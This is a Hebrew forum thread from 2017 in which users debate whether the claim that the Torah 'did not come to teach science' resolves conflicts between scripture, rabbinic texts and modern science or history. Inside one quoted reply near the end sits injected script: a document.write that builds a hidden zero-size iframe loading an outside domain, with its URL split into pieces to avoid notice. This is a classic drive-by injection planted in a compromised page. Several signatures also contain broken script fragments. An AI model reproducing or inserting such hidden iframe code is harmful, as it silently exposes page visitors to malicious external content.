בית פורומים עצור כאן חושבים

למה התכוון המשורר באומרו שהתורה לא ניתנה ללמדנו מדע

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-26/4/2017 23:36 לינק ישיר 
למה התכוון המשורר באומרו שהתורה לא ניתנה ללמדנו מדע

מפעם לפעם כשמוצגת פה בפורום סתירה או סתירה לכאורה, בין הידע המדעי וההיסטורי לבין מה שכתוב בתנ"ך, התלמוד וכו', ניתן להמר בוודאות שתמיד לפחות אחד מהמשיבים יטען ש"התורה לא באה ללמדנו מדע, היסטוריה וכדו'".

מדובר במשפט שמצוטט כל כך הרבה פעמים, עד שנדמה שהוא כמעט הפך לקלישאה בנוסח: "בלינוקס זה לא היה קורה" או"ההגנה הכי טובה היא ההתקפה".

אבל מה המשמעות במשפט הזה?

האם הכוונה שכותב התורה ידע שזה לא נכון, אבל זה לא שינה לו, כי זה רק משל, או שנכתב כסיפור רקע של החלקים בתורה שעוסקים בהלכה. או שאולי כותב התורה מוגבל בידיעותיו המדעיות, אבל לא ההלכתיות והמוסריות. 

ובכלל, בסוג תשובה שכזה לא ניתן להמנע מהשאלה, את מי המשיב מניח ככותב התורה בכלל, והחלקים המדעיים וההיסטוריים בפרט, האם התורה שבכתב נכתבה בידי משה מפי אלוהים, והתורה שבעל פה הועברה במסורת מסיני בין חכמי הדורות, או שמדובר ביצירה אנושית טהורה, ואולי שילוב כלשהוא של השניים?
יתכן שהכוונה בכלל שאנו מתייחסים אל עצמנו כ"ככותבי התורה" בכך שבחרנו ובוחרים לשמור את מצוותיה, והלכותיה מסיבות שרירותיות, גם אם איננו מייחסים לה קדושה "אלוהית".








דווח על תוכן פוגעני

מחובר
נשלח ב-27/4/2017 02:31 לינק ישיר 

תלמיד חבר

ברוך הבא אל הפורום!

שם נאה בחרת לך.

אני אחד מאלו שסבור כי "התורה לא באה ללמד מדע". ואסביר איך המשפט הזה מבאר קשיים וסתירות שנמצאים בתורה אל מול ידיעותינו היום.

נניח שבתורה אנו מוצאים את הביטוי "ובא השמש", כלומר השמש שוקעת. כלומר ירד הלילה.

איך אפשר להבין את האמירה שהשמש שוקעת? וכי השמש נעה בשמים?

אפשר היה להניח שהפירוש הוא כפשוטו בימי חז"ל, ואכן הם דנו אם השמש נעה עד למערב שהוא מקום קבוע, ומשם היא עוברת בחזרה למזרח הקבוע מתחת לאדמה או מעל לרקיע באופן הנסתר מעינינו, כגון שיש לה שם מנהרה או מסך מסתיר.

לאחר קופרניקוס, אנו יודעים שהשמש נמצאת במרכז מערכת השמש, והיא אינה נעה במרחב. ולכן אנו מפרשים את הביטוי "ובא השמש" לא בתור תיאור של מציאות פיזיקלית אלא בתור מטאפורה של חלוף הזמן כפי שהוא נראה בעיני המתבונן. לא שהשמש נעה אלא שבני האדם רואים אותה כנעה, ואכן כך הוא.

ואם ישאל מאן דהוא מדוע הוצאנו את המשפט מפשוטו, אם זהו פשוטו שהשמש נעה, התשובה תהיה שאנו יודעים מן המדע שזה לא נכון ולכן אנו מפרשים את הפסוק מחדש.

אך מה נעשה במקומות שקשה יותר לעשות זאת. וזה לא רק בפיזיקה אלא גם בהיסטוריה? אז התשובה שלי תהיה שהתורה מדברת לפי אמונותיהם של בני אדם בדור בו היא ניתנה.

ואוסיף ואצטט מדברי עדי צמח, פרופסור לפילוסופיה ואסתטיקה, שדן בשאלה זו עצמה והדגים: נניח שהיינו נוסעים במכונת זמן ונפגשים עם בני הדור שקיבל את התורה (לפי המקובל בינינו), מעם ישראל או מעם אחר, והיינו מציעים לענות על כל שאלה שיש להם באסטרונומיה. ואם הם היו שואלים על הכוכבים בשמים, איך בדיוק היינו יכולים לבאר להם לגבי גלקסיות? הרי המילים לא היו לנו ולא להם.

אשר על כן התורה מדברת, בתחומים מסויימים, לפי יכולת הקליטה של השומע.

מלבד זה שהתורה באה, לדעתי כדעת הרמב"ם ועוד, לחנך את האדם ואת העם ולא ללמד מדע. לא פיזיקה ואפילו לא היסטוריה.

אם זה לא עונה על שאלתך, בבקשה שאל שוב.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-27/4/2017 10:45 לינק ישיר 

לא זכור לי כי השתשו כאן בניסוח התורה אינה מדע. כי הרי זה פשיטא.
התורה אינה היסטוריה - כי היא לא כתובה כספר היסטוריה.- וכבר חזל קבעו אין מוקדם ןמאוחר בתורה.
התורה אינה מדע. בשבוע שעבר בפרשה- השפן מעלה גירא- השפן מדעית אינה מעלה גירא.
התורה כשמה בא להורות על דרך חיים אשר ילך בא האדם. ואידך זיל גמור



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/4/2017 11:03 לינק ישיר 

תודה מימוני על התשובה.


כפי שאני רואה, יש מספר בעיות עם הגישה הזאת.


1. התורה עוסקת לא מעט בשושלות וכרונולוגיות.

כך בפרשת בראשית יש 2 שושלות: מאדם עד נח, ומאדם עד תובל קין. השושלת הראשונה אף מייצגת את ההיסטוריה של 1600 השנים הראשונות לבריאה כפי שהיא מתגלמת ב10 צאצאים מאדם עד נח, תוך שהיא מציינת את שנותיו (הרבות) של כל דור.

האם לא נראה שהתורה במקרה זה מנסה ליצור תיאור כרונולוגי מדויק, ולא רק כתיבה לפי אמונת אותו דור?

ובכלל, הטענה שאותו דור היה מתקשה להבין משהו כנגד אמונתו, נראית כתיאור קיצוני של הדורות הקודמים כפרימיטיביים חסרי בינה. אדרבה, דווקא בגלל שלא היה להם שיטה מדעית מסודרת ועקבית, הם היו יכולים לקבל כמעט כל תיאור מדעי, גם אם לא בשפה מתמטית.


אם התורה יכלה לשנות את אמונתם הבסיסית של האנשים בפוליתאיזם למונותאיזם למרות שהיא לא שיפרה את תנאי חייהם, אין שום סיבה שלא יכלה לתת תיאור מדעי סביר, בפרט שידע מדעי הוא במקרים רבים הבסיס לטכנולוגיה מועילה, שמדברת בעד עצמה.


2. לפי היהדות הרבנית, חז"ל הם פרשני התורה, וזה בנוסף לתורה שבעל-פה שהועברה בידיהם.

נתקשה מאוד לבאר בדברי חכמים שהם דברו לפי אמונת אותו דור, ולא ראו בדבריהם אמת מדעית. הרי קשה להניח שבכל הסוגיה הארוכה במסכת גיטין (סח-ע), שבה הם מביאים תרופות לחוליים שונים, הם הפיצו במודע תרופות אליל.

גם כשבוחנים את פרשנותם לתורה, נראה שהם ראו אותה גם כאמת היסטורית. ספר "סדר עולם" שמתאר כרונולוגיה מוקפדת שעליו הסתמכו, הוא ההמחשה לכך.


ולסיום,

ידועה אמרתו של קרל סייגן "טענות דורשות הוכחות. טענות יוצאות דופן דורשות הוכחות יוצאות דופן". אם היה מגיע אלינו אדם או קבוצת אנשים, וטוענת שיש בידיה מסמך ארוך ומפורט שהשאירה הישות שבראה את יקומינוו, היינו מתייחסים לזה כטענה יוצאת דופן.

ומה"מאסטר מיינד" של היקום היינו מצפים ללא פחות מאשר הוכחת השערת גולדבאך, היתוך קר, ותיאוריה סופית שמחברת בין תורת היחסות למכניקת הקוונטים.


אם לעומת זאת היינו פותחים את הספר ומגלה בה אינספור טעויות מדעיות והיסטוריות ואנכרוניזם, מלבד הסתירות, הכפילויות גם בחלקים ההלכתיים, ואז מביאי הספר היו מתרצים משהו בסגנון, "בורא היקום לא התכוון ללמדנו מדע, היסטוריה. ובכלל, שהוא דיבר בצורה מאוד מבולבלת, מכל מיני סיבות. אבל יש לו רשימה ארוכה מאוד של דברים שהוא רוצה שנעשה ושלא נעשה, ושכמובן נאמין בו בכל ליבנו", איך היינו מתייחסים אל הספר ומפיציו?










דדווח על תוכן פוגעני

מחובר
נשלח ב-27/4/2017 11:12 לינק ישיר 

 ירוחםשמ,

ברור כי אף חוקר מקרא לא יטען כי התנך נכתב ללמדנו מדע או היסטוריה. התנך נכתב למען מטרות תיאלוגיות.

אך תורה מכילה גם חלקים מדעיים והיסטוריים, שאינן נכונים מדעית. ולכן שאלתי, האם כותב התנ"ך ידע שחלקים אלה אינם נכונים, ובהנחה שידע, מדוע בכל זאת כתב אותם.

השאלה מטרידה אף יותר, אם נקבל את ההנחה האמונית, שהתורה נתנה מפי האלוהים, ובכל זאת יש בה חלקים שאינם נכונים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-27/4/2017 11:33 לינק ישיר 

חייך במרירות הקב"ה לעצמו ואמר: " כל שביקשתי מהם זה שישתדלו להיות טובים והם רודפים אחרי עם השארת גולדבאך והיתוך קר. עד שהם שואלים על תורתי, שישאלו לפעמים גם את עצמם קצת."



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/4/2017 15:35 לינק ישיר 

התורה ניתנה מאלוקים. והיות והיא ניתנה לבני אדם בעלי אינטלגנציה מסוימת. היה צריך לעטוף אותה במבוא סיפורים  ודימויים ומשליים. שאינם אלא סרח עודף ללא כל משמעות .
איך הגמרא שואלת בשמו של מנשה המלך- ותמנע היתה פילגש..... את מי זה בדיוק' מענין. אפשר לספר סיפור מענין. וכד'



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/4/2017 22:27 לינק ישיר 

אני חושב שהאמירה הזאת יכולה להופיע ביותר ממשמעות אחת, אבל בגדול אני מסכים עם האמירה.

אתחיל דווקא מנושא אחר: האם "החוכמות" - המדעים ונושאי הלימוד למיניהם קשורים לתורה, כלולים בתורה, או לפי הגישה המרחיבה - כל דבר בעולם מימי בראשית ועד סוף כל הדורות כלול בתורה. 

אני מאמין, שאמנם כל אדם ואדם קיבל דעת מהקב"ה, כל אחד קיבל "מומחיות" בתחום מסויים. כך למשל, אע"פ שמשה היה מקבל התורה, דווקא אהרן נבחר לכהן, וככהן אף קיבל את התפקיד "ותורה יבקשו מפיהו". דוקא אהרן ולא משה, אע"פ שמשה גדול מאהרן. אם כל דברי וחכמת אהרן כלולים בתורה שנלמדה באופן היותר טוב ע"י משה, מדוע לא יכהן משה ככהן? אפשר כמובן לומר "גזרת הכתוב", וזה גם יהיה נכון, אבל הוא הדבר: גזרת הכתוב היא לתת לכל אחד דבר, אע"פ שלכאורה גם חברו יכול למלא את התפקיד. 

אני אמנם מאמין, שהכל נמצא בתורה. ואעפ"כ, אין זה אומר שמי שרוצה להיות אסטרונום צריך להתחיל מהתורה. בדיוק כמו שאהרן כדי להיות כהן אינו צריך להתחיל מדרכו של משה, כי לכל אחד יש דרך אחרת בעבודת ה'. ואם כן מה נותנת התורה? התורה נותנת את ה"סיכום" הטוב ביותר - ומייד לאחר שהשתמשתי במילה "סיכום" - אבהיר שלא מדובר דווקא על סיכום במובן ה"עדכני" שלו, כלומר "אוסף" של כל הידוע, אלא "מכלול" במובן של "התימצות המוצלח ביותר". כך גם שלמה המלך חכמתו לא הייתה דווקא בידיעה הטובה ביותר של כל מדע ומדע, בפרט מדעים שהתפתו אחריו. אבל מכל מקום חכמתו הייתה התימצות המוצלח ביותר לכל הדברים. ומתוך התימצות כמובן ידע להתייחס גם לכל שאר הדברים, אבל לא באופן שבו כל "מומחה" לנושא פרטי יודע, אע"פ שחכמתו באמת כללה "מומחיות", אבל עדיין זה לא מייתר את המומחיות של המומחים הפרטיים. 


ומכאן לנושא האשכול: התורה "לא באה ללמד מדע". זה יכול להיאמר בהקשרים שונים ובכוונות שונות, אבל בסופו של דבר אם נמצאת סתירה בינה לבין המדע, או שלא הבנו את התורה, או שלא הבנו את המדע (כלומר את המציאות). איך התורה יכלה לדעת את המדע? נניח, אם ישנם שני מתכות, ואשתמש דווקא בדוגמא מהתורה הקבלית - נניח שמתכת אחת (אני אומר את זה באופן סתמי, וכמובן שאין להסיק מכאן לגבי לימודים מדעיים, אבל נניח שמתכת אחת) מתאימה ל"דין" ומתכת אחת ל"חסד". איך זה יכול להיות? אני סתם "זורק" - נניח אחת קשה ואחת יותר רכה. ונניח שמערבבים אותם ומקבלים משהו מ"קו האמצע". עכשיו, אם באמת אנו מאמינים באלוקים, ואנו יודעים לקשר על פי דבר האלוקים, בין ה"חסד" וה"דין" של הקשיחות של המתכת לתכונות שונות אחרות, למשל, למשל טמפרטורת התכה, נוחות לריקוע, או השמעת צליל מתכתי. זה לא בלי אפשרי שיש קשר בין תכונות שונות כאלו אל מתכת אחת, ולמעשה אני חושב שזה אפילו די סביר. אדם בעל אינטואיציה בריאה - בקלות יוכל לשים לב ולהבין דבר מתוך דבר, וללמוד על תכונה שנייה של החומר, מתכונה ראשונה שלו שהגיעה כבר לידיעתו בבירור. אלא שבשביל זה צריך משהו שנקרא לו "שכל אחדותי" - חשיבה שמאחדת את כל הידוע לאדם לתוך איזה תפיסה כוללנית שמתוכה הוא מביט ועל סמך המאפיינים שהיא מלמדת הוא יודע כיצד להתייחס למה שנמצא לפניו. וניתן להמליץ על זה את דרשת חז"ל ""הן יראת ה' היא חכמה" - הן - אחת, שכן בלשון יווני קוראים לאחת הן". וחכמה גדולה היא זו להבין בסקירה אחת את הכל, והדרך להשיג את זה היא אך ורק ביראת ה' - שהוא ברא הכל, וכל יכול וכוללם יחד, עין לא ראתה אלוקים זולתך, יעשה למחכה לו.

ואחרי שמבינים את זה, כל הבעיות כלא נחשבו - כי התורה אינה מציגה את זה באופן שכל אדם בכל רגע נתון יוכל ללמוד הכל מתוך התורה. אלא רק שכל מחשבה של אדם בכל רגע נתון יכולה להשתלב בתוך מחשבת התורה. כמובן יש להוסיף כאן הבהרות לגבי הגדרת המושג "תורה", כי בהקשר זה כמובן שצריך להשתמש במונח "תורה" במובנו הכוללני ביותר, ואעפ"כ גם במובנו המצומצם יותר של המונח "תורה" מופיעים התכונות הנ"ל של הכללת שאר המקצועות בתורה, אלא שכמובן באופן מסוייג יותר, בהתאם לרמת הצמצום של מה שאליו מתכוונים במילה "תורה". אבל מאחר ואין אדם יכול להרחיב דעתו לכל דבר ודבר בעולם, לכן די אם נדע לבקש אחר המקסימום שבן אנוש יכול לבקש, וה' ישלימנו לך.



דדווח על תוכן פוגעני

מנותק
נשלח ב-27/4/2017 22:37 לינק ישיר 

וזה לא אומר שמשה או שלמה "ידעו" הכל כמו שאנו יודעים - ראה הקדמת התוי"ט למשניות - שמשה רק "ראה" הכל - כלומר הבחין בדברים באופן כללי, אבל כשהתלמיד הותיק מחדש הוא באמת מחדש דבר חדש, כיוון שמשה עוד לא הוריד את זה לעולם. 

ומאידך, מי שבאמת לא רוצה לקבל עליו עול מלכות שמים - לא יוכל ללמוד כלום מתוך התורה, כי הוא איננו "מחובר" למקור הלימוד הכולל, וסכלותו אשמתו.

לכן, כמו הרבה דברים אחרים, לא מדובר פה בתכונה "מדעית" של התורה, שהיא "נכונה" ו"כוללת". אלא בתכונה רעיונית, שמי שיודע ללמוד אותה - נמצא מוצא בה דברים נוספים מעבר לפשט המפורש (ובימינו, גם להבין פשט מפורש זו מעלה בפני עצמה...)



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/4/2017 00:17 לינק ישיר 

תלמיד חבר

יפה אתה מדייק ומדקדק, ולנוכח שאלותיך אני מוצא את עצמי נדחק לתפיסה של התורה שאמנם היא קאסוטואית אבל היא קשה לעיכול.

כתבת:

בכלל, הטענה שאותו דור היה מתקשה להבין משהו כנגד אמונתו, נראית כתיאור קיצוני של הדורות הקודמים כפרימיטיביים חסרי בינה. אדרבה, דווקא בגלל שלא היה להם שיטה מדעית מסודרת ועקבית, הם היו יכולים לקבל כמעט כל תיאור מדעי, גם אם לא בשפה מתמטית.


אם התורה יכלה לשנות את אמונתם הבסיסית של האנשים בפוליתאיזם למונותאיזם למרות שהיא לא שיפרה את תנאי חייהם, אין שום סיבה שלא יכלה לתת תיאור מדעי סביר, בפרט שידע מדעי הוא במקרים רבים הבסיס לטכנולוגיה מועילה, שמדברת בעד עצמה.


יש כאן שתי אפשרויות. האחת שהתורה לא רק לא באה ללמד מדע אלא שאין באפשרותה לעשות כן. איזו טכנולוגיה ואיזה ידע מדעי היית מציע לתת לבני דורו של משה רבנו, יוצאי מצרים, שהיו יכולים להשתמש בו, שהיו מבינים אותו בשפה שלהם ובעולם שלהם.

האפשרות הנוספת עוסקת בדמותו ובהשגתו של משה רבנו. הרמב"ם מעצים אותו כמי שהשיג כל מכלול הידע האנושי כולו. אבל האם זה באמת כך? זה שה' בחר במשה כדי לתת את התורה האם זה אומר שמשה היה מסוגל להשיג ידע מדעי מעבר למה שהיה בר ביטוי בתקופתו?

ההבדל בין התשובה הראשונה לשניה הוא בנוגע למשה עצמו. לפי התשובה הראשונה שלי, לא היה מה ללמד את הדור של מקבלי התורה כי לא היתה אפשרות כזו. כמובן זה מאד יתכן שאני מחמיץ דברים שכן ניתן היה ללמד. בבקשה, הצע. לא הקדשתי כמובן מספיק מחשבה אבל בינתים איני רואה דברים כאלו.

ואילו לפי התשובה השניה לא היה אפשר לתת ידע מדעי כי גם משה רבנו עצמו לא היה מסוגל לקבל ידע כזה.

עוד כתבת

נתקשה מאוד לבאר בדברי חכמים שהם דברו לפי אמונת אותו דור, ולא ראו בדבריהם אמת מדעית. הרי קשה להניח שבכל הסוגיה הארוכה במסכת גיטין (סח-ע), שבה הם מביאים תרופות לחוליים שונים, הם הפיצו במודע תרופות אליל.

גם כשבוחנים את פרשנותם לתורה, נראה שהם ראו אותה גם כאמת היסטורית. ספר "סדר עולם" שמתאר כרונולוגיה מוקפדת שעליו הסתמכו, הוא ההמחשה לכך.


איני רואה בכך קושי. חכמים היו מעוניינים מאד בידע. אבל הם היו בני תקופתם. לכן הם אספו תרופות שונות ועצות שונות שנחשבו בעיניהם לידע, ואילו היום היינו פוטרים את כל האוסף הזה או רובו כפולקלור ושגיאה. אכן, כבר הגאונים הזהירו שלא לסמוך על עצות רפואיות בגמרא (והדורות הבאים התקשו בדברים אלו ושינו את משמעותם, נדמה לי המהרש"א).

בדומה לזה, הם ראו בשושלות האלו היסטוריה ולכן השתדל בעל סדר ימות עולם לבנות כרונולוגיה (סדר זמנים). בהחלט אפשר לערער על החשבונות שלו (רבקה היתה בת שלוש כשיצאה לשאוב מים?) אבל הוא ורש"י לאחריו סבורים שהתורה לא רק מביאה את הידע ההיסטורי האמיתי אלא גם בנויה כתצריף שאם נאסוף את כל פיסותיו נוכל להשלים את החלקים החסרים.

מה זה אומר? שאנו תופסים היום מחדש את התורה בצורה פחות יומרנית ולכן יותר מדוייקת?

אני משער שכל מה שכתבתי ייראה כופרני. אני משער שאילו הייתי קורא את הדברים שכתבתי לפני שנים, בצעירותי, ולא הייתי יודע שאכתוב אותם, הייתי פוסל אותם כדברי אפיקורסות. אילו הייתי יודע שאמצא את עצמי כותב אותם, הייתי מזדעזע. יתכן שזה מעיד שהתקלקלתי, אבל יתכן שזה מעיד שהחכמתי.

ואני ממליץ על פירוש שד"ל (שמואל דוד לוצאטו) על התורה שכבר קדמני בדברים אלו מבחינה מתודולוגית במקומות רבים.



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/4/2017 00:23 לינק ישיר 

תלמיד חבר

כעת שמתי לב לסוף שאלתך בפתיחת האשכול

האם התורה שבכתב נכתבה בידי משה מפי אלוהים, והתורה שבעל פה הועברה במסורת מסיני בין חכמי הדורות, או שמדובר ביצירה אנושית טהורה, ואולי שילוב כלשהוא של השניים?

אכן התשובה היא שאני מציע לוותר, בלית ברירה, על התפיסה שהתורה היא אמת ברמה של בורא העולם ויודע הכל ולהחליף אותה בתפיסה המסתפקת בפחות: שה' נתן את התורה לפי כוח המקבלים, ולא רק העם אלא אולי גם משה רבנו בכבודו ובעצמו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/4/2017 00:25 לינק ישיר 

ברשותכם, אשתף את הדברים גם במקום הפירסום החדש והמושך של פייסבוק. אני מעתיק רק את השאלות של תלמיד חבר ואת תשובותי.

המקום הזה עדיין חשוב לי יותר מכל. אלא שאם מטרתנו היא, או גם היא, לקיים דברי הרמב"ם שיקר מכל להפיץ דבר אמת, אז מסתבר שראוי להביא את הדברים גם לשם, וגם אם שם הם ממהרים להעלם.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/4/2017 07:28 לינק ישיר 

מיימוני

הפעם הוצאת אותי מכלי.

להטענה שהתורה מדברת לפי אמונותיהם של בני אדם בדור בו היא ניתנה יש הרבה בעיות.

וכי נותן התורה לא ידע כי לאחר X  דורות הדברים ייראו נלעגים? מאי חזית להתאים את התורה מאוד מאוד לדור המקבלים ולא לתיתה בנוסח אמורפי המתאים לכל. למשל – במקום לפרט את מעשה בראשית כפי שפורטו לכתוב שה' ברא את העולם וזהו. ומדוע בכלל להכנס לזה תתחיל את התורה מהחודש הזה לכם. אני יודע שניתן להדחק בתשובות [מגילות שהיו להם, העדפה לדור המקבלים שהוא רגיש יותר מאשר לעוד 200 דורות] אבל יש להתייחס לכך.

נכון שאין מטרת התורה לימוד מדע אבל מה שמטריד הוא שהיא מתנדבת ללא צורך לתת פרטים הנחזים כשגויים.

מי שאינו מאמין ביציאת מצרים כפשוטה (על כל המניינים שבתורה המונים 600+ אלפי אדם במניין מפורט ולא כאלף כקוד לקבוצה) – שזו אצלך דעה שאם כי אינך סובר כמותה אך היא לגיטימית במסגרת היהדות -  לא יוכל גם להאמין במתן תורה בכל וואריאציה שהיא בדור ההוא כי איך ניתנה לדור ההוא תורה על פי אמונותיו שלו ובה מספרים גדולים כשהוא רואה סביבו מספר מועט? ואם אין מתן תןרה אז אז מתי (ושיטתו של קולא אינה מתיישבת בהגיון).

טענתו של עדי צמח מוזרה להתמיה. קח ילד בן 7 ותראה שהוא יקלוט את בסיסי הדברים. קל יותר לנסות להטמיע את אמונת היחוד מאשר להסביר הסברים כאלו.

 




דדווח על תוכן פוגעני

מחובר
נשלח ב-28/4/2017 10:27 לינק ישיר 

תלמיד לא טועה

צר לי. החשבון את מי לא לצער הוא חשוב מאד, אבל לא יותר מאשר לברר שאלות.

אני מניח שאתה מכיר את הסברו של שד"ל לסיפור הבריאה: זה לא סיפור היסטורי או אפילו טרום היסטורי, כלומר לא עובדתי. זה האופן שבו נותן התורה מעביר את המסר שכל דבר משמעותי המוכר לבני אדם הוא בעצם נברא.

האפשרות הזו מניחה את דעתי יותר מאשר לומר: דברים כפשוטם במעשה הבריאה.

אותו דבר נכון לגבי שושלות היסטוריות.

אני מסכים בהחלט שה' ידע מראש שגם אנו נהיה כאן היום, בעצור כאן חושבים, ונדון בחלופות פרשניות. ואני מציע לפניך מה שחשבתי לפני שנים ודומני שגם כתבתי אלא שאולי נעלמו הדברים מעיניך, או שאינך סבור שהם נכונים:

נותן התורה ראה שיש הקבלה בין חשיפת האמת המביכה כי סיפורי הבריאה והשושלות ההיסטוריות אינם מדוייקות ואינם פשט אלא מסר חינוכי, אבל הוא גם ראה שבמקביל לחשיפה שאלו הם לא פשט תבוא גם ההבנה שזה מה שהיה דרוש לאותו הדור. ועלינו, בדורנו, לפרש את הדברים מחדש.

והנה כמה נקודות שבהן הפרשנות מתחדשת, לדעתי:

א. מן הבריאה יש מאין: האלוקים אינו כפוף לשום דבר. (קויפמן) מה שאנו מכנים "רצונו" (רמב"ם) קובע כל דבר.

ב. התגליות הטכנולוגיות והמדעיות, כמו כלי עבודה, כלי מלחמה, מוזיקה, כלאי פרדים ועוד כולן הן מעשי ידי אדם - ולא גילוי של כוחות זרים, כמו פרומתאוס היווני או מלאך בספרים החיצוניים. - אין כוחות זרים כאלו, אלו אמונות הבל להאמין בהם. (קאסוטו).

ג. כדי להנחיל אמונות נכונות יש צורך לפעמים לעטוף אותן במיתוס (הרמב"ם).

ד. נותן התורה ראה מראש שהמיתוסים ייחשפו בתור כאלו אבל ידע גם שאפשר לסמוך על הלומדים באותו דור עתידי שיראו מעבר לאכזבה שגדלו על מיתוסים אל התכנים האמיתיים הפנימיים (עצור כאן חושבים, ת"ט, מיימוני).

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/4/2017 15:29 לינק ישיר 

מימוני

לפי סדר דבריך"

1.      הנבצר מה' [ציטוט "האלוקים אינו כפוף לשום דבר. (קויפמן) מה שאנו מכנים "רצונו" (רמב"ם) קובע כל דבר.] למסור מסר כלשהו בלי לרתום לזה פנטזיות? אפילו אני הקטן יכול. דווקא בזה ההסבר של מגילות ישנות שהיו מקובלות דחוק פחות [אם כי אינו יוצא מידי דוחק].

2.      ממילא לא היה צורך "להסתבך" עם דור עצכ"ח (איזו יומרה...) בתירוצים דחוקים שאולי אתה מרוצה מהם לחלוטין, אבל יש כאלו שפחות.




דדווח על תוכן פוגעני

מחובר
נשלח ב-28/4/2017 16:16 לינק ישיר 

מיימוני כתב:
נותן התורה ראה...

< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

...להפיץ דבר אמת


אם מדברים בשפה מדעית, אז בלתי גשמי, בלתי משתנה הוא אינו "נותן" בפרט ולא "פועל" בכלל, ויתר על כן, אינו "רואה". כי לפעול, לתת, זהו אופיין למשהו שמשתנה, משקיע אנרגיה.

לכן אם באמת רוצים לדבר על פי אמת, ויתר על כן, להפיץ אותה, ביטוי "נותן התורה ראה..." קרוב לוודאי עוד יותר יכול להביך נבוכים.

מדען יכול לאומר "חוק פועל...", אבל הוא לא יחשוב כי "חוק פועל" אלא שעל פי חוק פועל משהו.
ואילו נבוכים כאן מאמינים באמונה שלמה שהא-ל "רואה", "מדבר" ופועל שאר פעולות.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > למה התכוון המשורר באומרו שהתורה לא ניתנה ללמדנו מדע
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 ... 7 8 9 לדף הבא סך הכל 9 דפים.